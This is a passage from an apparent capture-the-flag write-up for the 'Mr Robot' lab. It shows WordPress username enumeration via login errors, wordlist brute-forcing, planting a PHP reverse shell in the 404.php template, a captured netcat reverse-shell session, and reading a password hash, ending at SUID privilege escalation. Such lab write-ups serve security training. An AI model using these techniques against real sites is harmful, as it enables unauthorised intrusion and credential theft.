/0 opened a wordpress blog. Going to the login screen http://TARGET_IP/wp-login.php shows the wordpress login screen. Entering the username 'admin' and the password 'admin' presents an error message:
ERROR: Invalid username.
This page can be used to enumerate valid usernames as when providing the username 'elliot' (the main character's name in Mr. Robot) the error states the password is wrong:
ERROR: The password you entered for the username elliot is incorrect.
Looking at fsocity.dic there are a number of duplicate entries so we can strip those out to optimise the wordlist:
You should find the password around the 5000th attempt.
Elliot's Password
ER28-0652
HINT: White coloured font
Once logged into wordpress as an admin we can check out the image gallery. One image has white text in the background which reveals another username and also their password:
In order to turn our wordpress access into a shell we can edit the templates to add the PHP PenTestMonkey reverse shell pointing to your tun0 IP address into the 404.php template file:
Start a netcat listener on your machine then open the 404.php page in a browser to trigger the reverse shell.
listening on [any] 4444 ...
connect to [10.9.12.198] from (UNKNOWN) [10.10.121.252] 37394
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux 19:03:27 up 46 min, 0 users, load average: 0.05, 0.06, 0.13
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
bash: cannot set terminal process group (1998): Inappropriate ioctl for device
bash: no job control in this shell
daemon@linux:/$
With a shell we can extract the md5 hash from password.raw-md5 from the daemon /home/robot/ directory:
daemon@linux:/$ cd /home/robot
daemon@linux:/home/robot$ ls
key-2-of-3.txt
password.raw-md5
daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
The final flag is in the root directory so in order to reach that we need to privilege escalate our current shell. Searching the filesystem for files with the SUID bit set we find that nmap is installed and SUID is set:
